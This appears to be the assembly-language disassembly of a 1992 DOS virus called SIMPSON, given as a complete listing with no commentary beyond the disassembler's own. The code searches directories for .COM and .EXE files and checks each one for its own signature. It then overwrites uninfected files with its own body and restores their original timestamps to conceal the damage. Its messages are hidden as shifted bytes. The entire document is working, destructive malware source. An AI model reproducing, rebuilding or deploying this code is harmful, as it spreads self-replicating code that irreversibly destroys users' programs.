PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        SIMPSON				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   4-Dec-92					         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: none	         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_1e		equ	2Eh
data_10e	equ	39Ah			;*
data_11e	equ	39Ch			;*
data_12e	equ	39Eh			;*
data_13e	equ	3A0h			;*
data_14e	equ	5845h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

simpson		proc	far

start:
		push	si
		xor	si,si			; Zero register
loc_1:
		call	sub_2
		or	ax,ax			; Zero ?
		jz	loc_2			; Jump if zero
		call	sub_1
		inc	si
		inc	data_8
		jmp	short loc_3
loc_2:
		mov	dx,38Bh
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		inc	si
loc_3:
		cmp	si,data_6
		jl	loc_1			; Jump if <
		cmp	byte ptr data_8,0
		je	loc_4			; Jump if equal
		mov	ax,2BAh
		push	ax
		call	sub_5
		pop	cx
		jmp	short loc_8
loc_4:
		cmp	byte ptr data_7,6
		jbe	loc_7			; Jump if below or =
		xor	si,si			; Zero register
		jmp	short loc_6
loc_5:
		mov	bx,si
		shl	bx,1			; Shift w/zeros fill
		push	data_2[bx]
		call	sub_5
		pop	cx
		inc	si
loc_6:
		cmp	si,3
		jl	loc_5			; Jump if <
		jmp	short loc_8
loc_7:
		mov	ax,2BAh
		push	ax
		call	sub_5
		pop	cx
loc_8:
		jmp	short $+2		; delay for I/O
		pop	si
		retn

simpson		endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1		proc	near
		mov	dx,data_3
		add	dx,1Eh
		xor	cx,cx			; Zero register
		mov	al,1
		mov	ah,43h			; 'C'
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		mov	ax,data_3
		add	ax,1Eh
		push	ax
		call	sub_8
		pop	cx
		mov	bx,ds:data_10e
		mov	cx,data_5
		mov	dx,data_4
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		call	sub_4
		call	sub_9
		jmp	short $+2		; delay for I/O
		retn
sub_1		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		mov	ax,38Eh
		push	ax
		call	sub_6
		pop	cx
		cmp	ax,12h
		je	loc_12			; Jump if equal
		call	sub_3
		or	ax,ax			; Zero ?
		jz	loc_9			; Jump if zero
		mov	ax,1
		jmp	short loc_ret_17
		jmp	short loc_12
loc_9:
		jmp	short loc_11
loc_10:
		call	sub_3
		or	ax,ax			; Zero ?
		jz	loc_11			; Jump if zero
		mov	ax,1
		jmp	short loc_ret_17
loc_11:
		call	sub_7
		cmp	ax,12h
		jne	loc_10			; Jump if not equal
loc_12:
		mov	ax,394h
		push	ax
		call	sub_6
		pop	cx
		cmp	ax,12h
		je	loc_16			; Jump if equal
		call	sub_3
		or	ax,ax			; Zero ?
		jz	loc_13			; Jump if zero
		mov	ax,1
		jmp	short loc_ret_17
		jmp	short loc_16
loc_13:
		jmp	short loc_15
loc_14:
		call	sub_3
		or	ax,ax			; Zero ?
		jz	loc_15			; Jump if zero
		mov	ax,1
		jmp	short loc_ret_17
loc_15:
		call	sub_7
		cmp	ax,12h
		jne	loc_14			; Jump if not equal
loc_16:
		xor	ax,ax			; Zero register
		jmp	short loc_ret_17

loc_ret_17:
		retn
sub_2		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3		proc	near
		push	si
		mov	bx,data_3
		mov	ax,[bx+18h]
		mov	ds:data_11e,ax
		mov	bx,data_3
		mov	ax,[bx+16h]
		mov	ds:data_12e,ax
		mov	ax,data_3
		add	ax,1Eh
		push	ax
		call	sub_8
		pop	cx
		mov	bx,ds:data_10e
		mov	cx,14h
		mov	dx,data_13e
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		call	sub_4
		call	sub_9
		xor	si,si			; Zero register
		jmp	short loc_20
loc_18:
		mov	al,ds:data_13e[si]
		mov	bx,data_4
		cmp	al,[bx+si]
		je	loc_19			; Jump if equal
		mov	ax,1
		jmp	short loc_21
loc_19:
		inc	si
loc_20:
		cmp	si,14h
		jl	loc_18			; Jump if <
		inc	data_7
		xor	ax,ax			; Zero register
		jmp	short loc_21
loc_21:
		pop	si
		retn
sub_3		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4		proc	near
		mov	al,1
		mov	bx,ds:data_10e
		mov	cx,ds:data_12e
		mov	dx,ds:data_11e
		mov	ah,57h			; 'W'
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		jmp	short $+2		; delay for I/O
		retn
sub_4		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5		proc	near
		push	bp
		mov	bp,sp
		push	si
		mov	si,[bp+4]
		jmp	short loc_24
loc_23:
		sub	byte ptr [si],0Ah
		inc	si
loc_24:
		cmp	byte ptr [si],0
		jne	loc_23			; Jump if not equal
		mov	dx,[bp+4]
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		jmp	short $+2		; delay for I/O
		pop	si
		pop	bp
		retn
sub_5		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_6		proc	near
		push	bp
		mov	bp,sp
		mov	dx,[bp+4]
		mov	cx,0FFh
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jmp	short $+2		; delay for I/O
		pop	bp
		retn
sub_6		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7		proc	near
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jmp	short $+2		; delay for I/O
		retn
sub_7		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_8		proc	near
		push	bp
		mov	bp,sp
		mov	dx,[bp+4]
		mov	al,2
		mov	ah,3Dh			; '='
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	ds:data_10e,ax
		jmp	short $+2		; delay for I/O
		pop	bp
		retn
sub_8		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_9		proc	near
		mov	bx,ds:data_10e
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		jmp	short $+2		; delay for I/O
		retn
sub_9		endp

		pop	ss
		adc	al,5Ah			; 'Z'
		jl	$+7Bh			; Jump if <
		jno	$+7Eh			; Jump if not overflw
		db	'kw*~yy*lsq*~y*ps~*sx*wowy|'
		db	 83h, 2Eh, 00h
data_2		dw	2F1h			; Data table (indexed access)
		db	 2Ah, 03h, 63h, 03h
data_3		dw	80h
		db	 58h, 58h, 00h
data_4		dw	100h
data_5		dw	29Ah
data_6		dw	4
data_7		db	0
data_8		db	0
		db	 17h, 14h, 13h
		db	'XOa]*PVK]R++**cy'
		db	 7Fh, 7Ch, 2Ah, 7Dh, 83h
		db	'}~ow*rk}*loox*sxpom~on*'
		db	81h
		db	's~r*~ro.'
		db	 00h, 17h, 14h, 13h, 73h, 78h
		db	 6Dh, 7Fh
		db	'|klvo*nomk'
		db	 83h, 2Ah, 79h, 70h, 2Ah, 56h
		db	'OZ\Y]c*;8::6*k*'
		db	 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah
		db	 73h, 78h, 80h, 6Fh, 78h, 7Eh
		db	 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh
		db	 00h, 17h, 14h, 13h
		db	'ZMW<*sx*T'
		db	7Fh
		db	'xo*yp*;CC:8**Qyyn*v'
		db	 7Fh, 6Dh, 75h, 2Bh, 17h, 14h
		db	2Eh
		db	0
data_9		db	2Eh
		db	2Eh
		db	 00h, 2Ah, 2Eh, 45h
		db	 58h, 45h, 00h
		db	 2Ah, 2Eh, 43h, 4Fh, 4Dh
		db	0

seg_a		ends



		end	start